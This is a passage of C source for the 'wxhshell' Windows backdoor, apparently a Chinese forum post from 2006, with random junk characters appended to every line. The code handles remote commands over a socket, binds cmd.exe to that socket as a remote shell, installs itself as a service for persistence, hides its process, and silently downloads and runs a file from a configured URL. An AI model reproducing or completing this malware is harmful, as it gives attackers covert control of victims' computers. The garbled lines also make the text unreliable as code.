  // 帮助 yy2Ie  
  case '?': { # Oup^ o@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {bF1\S]2  
    break; 0)uYizJce  
  } }xn_6  
  // 安装 vxN0,l  
  case 'i': { Cd#E"dY6  
    if(Install()) q]4pEip  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h`MdKX$  
    else NWmtwS+@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7z~Ghz  
    break; 9x~-*8aw  
    } OIaYHA  
  // 卸载 3$M3Q]z  
  case 'r': { 0?Yz]+{C  
    if(Uninstall()) E\2Ml@J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FQeYx-7  
    else XOb}<y)r~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /jD-\,:L}  
    break; i4Z4xTn  
    } >tRHNB_  
  // 显示 wxhshell 所在路径 i 6no;}j  
  case 'p': { n l/UdgI  
    char svExeFile[MAX_PATH]; "c`xH@D  
    strcpy(svExeFile,"\n\r"); xc'vS>&  
      strcat(svExeFile,ExeFile); 1 H4fJ3-  
        send(wsh,svExeFile,strlen(svExeFile),0); y@vj;3:  
    break; 2%rLoL$Y2+  
    } j033%p+Xc  
  // 重启 p{;i& HNdp  
  case 'b': {   &LQ%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >kYp%r6  
    if(Boot(REBOOT)) LhJa)jFQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Am-vhpm  
    else { k1N$+h ;\  
    closesocket(wsh); (L69{n  
    ExitThread(0); &d$~6'x*  
    }  u>cC O'q  
    break; yFIIX=NC  
    } W=-|`  
  // 关机 y62%26 [  
  case 'd': { KS>$`ax,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 18!VO4u\I  
    if(Boot(SHUTDOWN)) )Id2GV~2B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E)YVfM  
    else { P{oAObP%  
    closesocket(wsh); |KG&HN fP-  
    ExitThread(0); <O857 j  
    } `6w#8}  
    break; (6xDu.u?A  
    } [e"RTTRfZ  
  // 获取shell  mIc:2.q^  
  case 's': { z-u?s`k**  
    CmdShell(wsh); v|+5:jFOqb  
    closesocket(wsh); z:G}>fk5  
    ExitThread(0); sk X]8  
    break; BnEdv8\,&s  
  } rFd@mO  
  // 退出 x*8O*!ZZ  
  case 'x': { h W.2p+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C|e+0aW  
    CloseIt(wsh); `1'5j "v  
    break; snMQ"ju  
    } +l\<?  
  // 离开 T1~)^qQ  
  case 'q': { eK_*q -  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;) pl{_  
    closesocket(wsh); ~$aTM_4  
    WSACleanup(); n9}RW;N+u  
    exit(1); YF[$Q=7.  
    break; pC^[[5A  
        } Cd~LsdKE5  
  } v}`1)BUeF  
  } 9m!7|(QV  
|cTpw1%I~  
  // 提示信息 ' iQ9hQjD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _X%Dw  
} yq*JdTF  
  } fi=?n{e'  
H-&3}   
  return; zl)&U=4l  
} YN#XmX%  
:WX0,-Gn  
// shell模块句柄 !C`20,U  
int CmdShell(SOCKET sock) +i)AS0?d  
{ $%He$t  
STARTUPINFO si; YBylyVZ  
ZeroMemory(&si,sizeof(si)); &va*IR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~I$}#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j.& ;c'V$.  
PROCESS_INFORMATION ProcessInfo; >h7$v~nra  
char cmdline[]="cmd"; T&/_e   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nLd~2qBuv  
  return 0; &z ksRX  
} 5P\N"Yjx'  
hWxT!  
// 自身启动模式 84Zgo=P}  
int StartFromService(void) 5; f\0<-  
{ Tk+DPp^  
typedef struct $c9=mjwH  
{ )>$^wT  
  DWORD ExitStatus; ,>S+-L8  
  DWORD PebBaseAddress; b;{h?xc6  
  DWORD AffinityMask; RZ6~c{  
  DWORD BasePriority; @XBH.A^7r  
  ULONG UniqueProcessId;  q)oN 2-  
  ULONG InheritedFromUniqueProcessId; E\! n49  
}   PROCESS_BASIC_INFORMATION; !3x *k;0  
9HKf^+';n  
PROCNTQSIP NtQueryInformationProcess; 3kw}CaZ6  
sRi%1r7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \^s2W:c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +2yF|/WW#  
"WP% REE!  
  HANDLE             hProcess; QK7e|M  
  PROCESS_BASIC_INFORMATION pbi; =h[yA f  
@YB85p"]J.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R-C5*$  
  if(NULL == hInst ) return 0; ,RN|d0dE  
^H'kHl'F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Mi D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u\w2S4c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #S *pD?VZ  
^BNp`x;;`  
  if (!NtQueryInformationProcess) return 0; #NM JZ  
m+7`\|`jQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q\_DJ)qpn  
  if(!hProcess) return 0; <i7agEdZD  
`U#Po_hq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WVkG 2  
qOgtGN}k  
  CloseHandle(hProcess); bQV("~#  
25&nwz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w>vmF cp  
if(hProcess==NULL) return 0; fO+U HSC  
N1s.3`  
HMODULE hMod; u#!GMZJN  
char procName[255]; H9:%6sds  
unsigned long cbNeeded; oB}K[3uB:t  
%t{Sb4XZ4k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^\{J5  
~zj"OG"zOw  
  CloseHandle(hProcess); &/DOO ^  
jQs*(=ls  
if(strstr(procName,"services")) return 1; // 以服务启动 1W0.Ufl)  
sSy$(%  
  return 0; // 注册表启动 >\&= [C  
} NkoofhZ  
W/a,.M  
// 主模块 7 y>(H<^>  
int StartWxhshell(LPSTR lpCmdLine) +i4P,Lp  
{ $>(9~Yh0  
  SOCKET wsl; G V=OKf#  
BOOL val=TRUE; Md?acWE*L  
  int port=0; /khnl9~+  
  struct sockaddr_in door; uYabJqV  
]'6'<S  
  if(wscfg.ws_autoins) Install(); K7S754m  
O&52o]k5l  
port=atoi(lpCmdLine); i.F8  
]qMH=>pOsj  
if(port<=0) port=wscfg.ws_port; )*Vj3Jx  
Tfr`?:yF  
  WSADATA data; *F|i&2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /Go>5 B>  
f!EOYowW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IQ=CNby:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pqOA/^ar  
  door.sin_family = AF_INET; InP[yFV-z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~@?"' !U  
  door.sin_port = htons(port); ,,Jjr[A_j  
~R'BU=!;F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [~!.a\[RW  
closesocket(wsl); ,5=kDw2  
return 1; e7lo!( >#  
} Yu1QcFuy  
cNx \&vpd  
  if(listen(wsl,2) == INVALID_SOCKET) { i<J^:7  
closesocket(wsl); i'Wcf1I-=  
return 1; t(wZiK}  
} 7 T mK  
  Wxhshell(wsl); 8V,"Id][  
  WSACleanup(); 7t`E@dm  
:|zp8|  
return 0; ~K_]N/ >  
{[my"n 2  
} Oe/73| >U  
xSx&79Ez<*  
// 以NT服务方式启动 pmoGudaRF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :&qC<UD  
{ gO9'q='5l  
DWORD   status = 0; L!?v BL  
  DWORD   specificError = 0xfffffff; 2 ae w6~  
`!<x"xKu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2.!1kije  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^4RO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~d&'Lp[3  
  serviceStatus.dwWin32ExitCode     = 0; u"*J[M~  
  serviceStatus.dwServiceSpecificExitCode = 0; ^M [#^wv,  
  serviceStatus.dwCheckPoint       = 0; ;,mBT[_ZO  
  serviceStatus.dwWaitHint       = 0; ?rAi=w&c  
!~?W \b\:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v^<<[I2 C  
  if (hServiceStatusHandle==0) return; i0VhG :O;  
#dHr&1(  
status = GetLastError(); $  9S>I'  
  if (status!=NO_ERROR) h\/^Aa0  
{ /L)?> tg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qwL 0~I  
    serviceStatus.dwCheckPoint       = 0; Nz3zsP$  
    serviceStatus.dwWaitHint       = 0; sWp{Y.  
    serviceStatus.dwWin32ExitCode     = status; M\9at\$  
    serviceStatus.dwServiceSpecificExitCode = specificError; l#tS.+B7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t) ;   
    return; |GJBwrL^0  
  } 7z Ohyl?  
h_AJI\{"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #8S [z5 `  
  serviceStatus.dwCheckPoint       = 0; A1mYkG)l  
  serviceStatus.dwWaitHint       = 0; X77A; US  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jM6uT'Io  
} N-]\oMc2  
k,a,h^{}j  
// 处理NT服务事件,比如:启动、停止 Lr K9F^c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "1_{c *ck  
{ "ugX /r$_  
switch(fdwControl) 5JO[+>  
{ xWd9%,mDNR  
case SERVICE_CONTROL_STOP: }*xC:A%aS  
  serviceStatus.dwWin32ExitCode = 0; C<zx'lw!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s'R~ r  
  serviceStatus.dwCheckPoint   = 0; bMSD/L  
  serviceStatus.dwWaitHint     = 0; 8W(<q|t  
  { ,G916J*XA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jK& Nkp  
  } iSnIBs9\  
  return; Kh>?!` lL  
case SERVICE_CONTROL_PAUSE: 0*37D 5jH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3FGbQ_  
  break; #k"1wSx16  
case SERVICE_CONTROL_CONTINUE: 516VQ<?B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (k7;  
  break; EG'7}W  
case SERVICE_CONTROL_INTERROGATE: i)A`Vpn  
  break; _Cu[s?,kS  
}; OI)&vQ5k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q3 K;kS  
} k/$Ja;  
SS >:Sw  
// 标准应用程序主函数 h<PYE]?l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @C!JtgO%  
{ }`+O$0A  
dL1~]Z y  
// 获取操作系统版本 _Ym&UY.u#  
OsIsNt=GetOsVer(); *O"%tp6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !X \Sp}  
c@0l-R{q  
  // 从命令行安装 ek Y?  
  if(strpbrk(lpCmdLine,"iI")) Install(); tXssejiE%  
zv$=*  
  // 下载执行文件 dbf^A1HI  
if(wscfg.ws_downexe) { k+W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sg'Y4  
  WinExec(wscfg.ws_filenam,SW_HIDE); k@'?"CP\Xq  
} @\x,;!N@  
&6|6J1c8  
if(!OsIsNt) { \#h})`  
// 如果时win9x,隐藏进程并且设置为注册表启动 *Y| lO  
HideProc(); 34&u]4=L)  
StartWxhshell(lpCmdLine); V Z4nAG  
} ~$ cm9>  
else BDv|~NHs  
  if(StartFromService()) eZa3K3^  
  // 以服务方式启动 &4ug3  
  StartServiceCtrlDispatcher(DispatchTable); !?tu! M<1?  
else $i1>?pb3  
  // 普通方式启动 6/p]jN  
  StartWxhshell(lpCmdLine); |q1b8A\  
KDNTnA1c  
return 0; KD[)O7hYC  
}
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只看该作者 1 发表于: 2006-10-10
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